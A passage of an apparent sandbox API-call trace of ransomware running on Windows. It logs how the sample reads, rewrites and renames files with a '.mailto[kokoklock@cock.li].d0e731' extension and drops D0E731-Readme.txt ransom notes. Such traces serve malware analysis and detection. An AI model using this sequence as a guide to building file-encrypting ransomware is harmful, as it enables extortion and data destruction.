lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc32fd88*=0x4, lpOverlapped=0x0) returned 1 [0068.789] WriteFile (in: hFile=0x710, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc32fd88, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc32fd88*=0x6c, lpOverlapped=0x0) returned 1 [0068.789] WriteFile (in: hFile=0x710, lpBuffer=0x3424028*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc32fd88, lpOverlapped=0x0 | out: lpBuffer=0x3424028*, lpNumberOfBytesWritten=0xc32fd88*=0x20, lpOverlapped=0x0) returned 1 [0068.789] WriteFile (in: hFile=0x710, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc32fd88, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc32fd88*=0x4, lpOverlapped=0x0) returned 1 [0068.789] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424028) returned 1 [0068.789] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3424078) returned 1 [0068.789] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423e70) returned 1 [0068.789] CloseHandle (hObject=0x710) returned 1 [0071.047] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0071.047] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1035\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf" [0071.047] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.047] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.049] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.050] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0071.050] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.050] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426df8 [0071.050] wcscpy (in: _Dest=0x3426df8, _Source="C:\\588bce7c90097ed212\\1035\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0071.050] wcscat (in: _Dest=0x3426df8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt" [0071.050] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1035\\d0e731-readme.txt")) returned 0x20 [0071.050] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0071.050] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fa9b8) returned 1 [0071.050] RtlExitUserThread (Status=0x1) Thread: id = 239 os_tid = 0x1234 [0063.491] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml")) returned 0x80 [0064.581] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0071.028] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x790 [0071.028] GetFileSizeEx (in: hFile=0x790, lpFileSize=0xc3af7e8 | out: lpFileSize=0xc3af7e8*=77022) returned 1 [0071.028] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x12cda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.028] ReadFile (in: hFile=0x790, lpBuffer=0xc3af7bc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc3af7b8, lpOverlapped=0x0 | out: lpBuffer=0xc3af7bc*, lpNumberOfBytesRead=0xc3af7b8*=0x4, lpOverlapped=0x0) returned 1 [0071.030] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.030] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.030] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cd0 [0071.030] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0071.030] NtQuerySystemTime (in: CurrentTime=0xc3af794 | out: CurrentTime=0xc3af794*=132121176289160338) returned 0x0 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x9e1128dc [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x885bd1e3 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x5e6ef7e4 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x380a4727 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0xd308d481 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x56ab8b0f [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x41b91a5e [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x24ab5e32 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0xdecfa034 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x5a6b1188 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0xd65cdcef [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x17374858 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x13a4666d [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0xdaf92726 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x55727a07 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0xec504cfe [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0xf81f6a15 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x5dfe4b2c [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0xb3ce7f5a [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x9af95e2f [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0xfbb08258 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x5148b423 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x78c2b7c [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x400d1d88 [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x503d32dc [0071.030] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x54d909ef [0071.031] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x8c45e3d0 [0071.031] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x90eeda5b [0071.031] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0xe202826f [0071.031] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x7b762542 [0071.031] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x15bc904 [0071.031] RtlRandom (in: Seed=0xc3af7a0 | out: Seed=0xc3af7a0) returned 0x1c75423d [0071.041] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.041] ReadFile (in: hFile=0x790, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xc3af76c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc3af76c*=0x4096, lpOverlapped=0x0) returned 1 [0071.042] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0071.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0071.042] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0071.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422c08 [0071.043] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422de8 [0071.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422de8) returned 1 [0071.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0071.043] WriteFile (in: hFile=0x790, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xc3af76c, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xc3af76c*=0x4096, lpOverlapped=0x0) returned 1 [0071.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.043] SetFilePointerEx (in: hFile=0x790, liDistanceToMove=0x12cde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.043] WriteFile (in: hFile=0x790, lpBuffer=0x3422c08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc3af7a4, lpOverlapped=0x0 | out: lpBuffer=0x3422c08*, lpNumberOfBytesWritten=0xc3af7a4*=0x20, lpOverlapped=0x0) returned 1 [0071.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422c08) returned 1 [0071.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.043] WriteFile (in: hFile=0x790, lpBuffer=0x3422dc0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc3af7b8, lpOverlapped=0x0 | out: lpBuffer=0x3422dc0*, lpNumberOfBytesWritten=0xc3af7b8*=0x8, lpOverlapped=0x0) returned 1 [0071.043] WriteFile (in: hFile=0x790, lpBuffer=0xc3af7d0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc3af7b8, lpOverlapped=0x0 | out: lpBuffer=0xc3af7d0*, lpNumberOfBytesWritten=0xc3af7b8*=0x4, lpOverlapped=0x0) returned 1 [0071.043] WriteFile (in: hFile=0x790, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc3af7b8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc3af7b8*=0x4, lpOverlapped=0x0) returned 1 [0071.043] WriteFile (in: hFile=0x790, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc3af7b8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc3af7b8*=0x6c, lpOverlapped=0x0) returned 1 [0071.043] WriteFile (in: hFile=0x790, lpBuffer=0x3422cd0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc3af7b8, lpOverlapped=0x0 | out: lpBuffer=0x3422cd0*, lpNumberOfBytesWritten=0xc3af7b8*=0x20, lpOverlapped=0x0) returned 1 [0071.043] WriteFile (in: hFile=0x790, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc3af7b8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc3af7b8*=0x4, lpOverlapped=0x0) returned 1 [0071.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0071.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.044] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422dc0) returned 1 [0071.044] CloseHandle (hObject=0x790) returned 1 [0071.044] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x9c) returned 0x33e69c0 [0071.044] wcscpy (in: _Dest=0x33e69c0, _Source="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" | out: _Dest="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" [0071.044] wcscat (in: _Dest=0x33e69c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0071.044] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1035\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.044] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.045] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e69c0) returned 1 [0071.045] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\LocalizedData.xml", dwFileAttributes=0x80) returned 0 [0071.045] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427410 [0071.045] wcscpy (in: _Dest=0x3427410, _Source="C:\\588bce7c90097ed212\\1035\\" | out: _Dest="C:\\588bce7c90097ed212\\1035\\") returned="C:\\588bce7c90097ed212\\1035\\" [0071.045] wcscat (in: _Dest=0x3427410, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt" [0071.045] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1035\\d0e731-readme.txt")) returned 0xffffffff [0071.045] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1035\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x78c [0071.047] WriteFile (in: hFile=0x78c, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0xc3af7b4, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0xc3af7b4*=0x481, lpOverlapped=0x0) returned 1 [0071.048] CloseHandle (hObject=0x78c) returned 1 [0071.048] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3427410) returned 1 [0071.048] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34271a0) returned 1 [0071.048] RtlExitUserThread (Status=0x1) Thread: id = 240 os_tid = 0x1238 [0063.491] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0064.579] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", dwFileAttributes=0x20) returned 1 [0071.001] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x78c [0071.001] GetFileSizeEx (in: hFile=0x78c, lpFileSize=0xc42fc38 | out: lpFileSize=0xc42fc38*=6851) returned 1 [0071.001] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x1abf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.001] ReadFile (in: hFile=0x78c, lpBuffer=0xc42fc0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc42fc08, lpOverlapped=0x0 | out: lpBuffer=0xc42fc0c*, lpNumberOfBytesRead=0xc42fc08*=0x4, lpOverlapped=0x0) returned 1 [0071.002] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0071.002] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422bb8 [0071.002] NtQuerySystemTime (in: CurrentTime=0xc42fbe4 | out: CurrentTime=0xc42fbe4*=132121176289004031) returned 0x0 [0071.002] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xfcdc899d [0071.002] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x741a1ba3 [0071.002] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xd9de3281 [0071.002] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x80b968db [0071.002] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x5aa2c4ba [0071.002] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x5941b547 [0071.002] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x44a7a5fd [0071.002] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xd49fee60 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x9ecd09cb [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xf6beb08d [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x61d63787 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xca063de5 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x8aba5080 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x4f16db3f [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x4e90a88b [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x519c8e97 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x28d48936 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xc43e28ff [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xe47b4cab [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xadd58fd2 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xdc5f6827 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x15be1fc [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xda5d6210 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xdb33598 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x7760ba7d [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xd6d08ddc [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x40a91eb2 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x8dfd26c3 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x44cf06b7 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x8cd333b9 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0xe3b16f51 [0071.003] RtlRandom (in: Seed=0xc42fbf0 | out: Seed=0xc42fbf0) returned 0x785adcf9 [0071.014] ReadFile (in: hFile=0x78c, lpBuffer=0x3475830, nNumberOfBytesToRead=0x1ac3, lpNumberOfBytesRead=0xc42fbe4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xc42fbe4*=0x1ac3, lpOverlapped=0x0) returned 1 [0071.015] SetFilePointerEx (in: hFile=0x78c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xc42fbac | out: lpNewFilePointer=0x0) returned 1 [0071.015] WriteFile (in: hFile=0x78c, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x1ac3, lpNumberOfBytesWritten=0xc42fbe0, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0xc42fbe0*=0x1ac3, lpOverlapped=0x0) returned 1 [0071.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0071.016] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0071.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0071.016] WriteFile (in: hFile=0x78c, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc42fbdc, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0xc42fbdc*=0x20, lpOverlapped=0x0) returned 1 [0071.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0071.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.016] WriteFile (in: hFile=0x78c, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xc42fc08, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0xc42fc08*=0x8, lpOverlapped=0x0) returned 1 [0071.016] WriteFile (in: hFile=0x78c, lpBuffer=0xc42fc20*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc42fc08, lpOverlapped=0x0 | out: lpBuffer=0xc42fc20*, lpNumberOfBytesWritten=0xc42fc08*=0x4, lpOverlapped=0x0) returned 1 [0071.016] WriteFile (in: hFile=0x78c, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc42fc08, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xc42fc08*=0x4, lpOverlapped=0x0) returned 1 [0071.016] WriteFile (in: hFile=0x78c, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xc42fc08, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xc42fc08*=0x6c, lpOverlapped=0x0) returned 1 [0071.016] WriteFile (in: hFile=0x78c, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xc42fc08, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0xc42fc08*=0x20, lpOverlapped=0x0) returned 1 [0071.016] WriteFile (in: hFile=0x78c, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc42fc08, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xc42fc08*=0x4, lpOverlapped=0x0) returned 1 [0071.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0071.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0071.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0071.016] CloseHandle (hObject=0x78c) returned 1 [0071.017] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x347bca0 [0071.017] wcscpy (in: _Dest=0x347bca0, _Source="C:\\588bce7c90097ed212\\1037\\eula.rtf" | out: _Dest="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf" [0071.017] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0071.017] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.020] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0071.024] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0071.024] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf", dwFileAttributes=0x80) returned 0 [0071.024] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427208 [0071.025] wcscpy (in: _Dest=0x3427208, _Source="C:\\588bce7c90097ed212\\1037\\" | out: _Dest="C:\\588bce7c90097ed212\\1037\\") returned="C:\\588bce7c90097ed212\\1037\\" [0071.025] wcscat (in: _Dest=0x3427208, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt" [0071.025] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\D0E731-Readme.txt" (normalized: 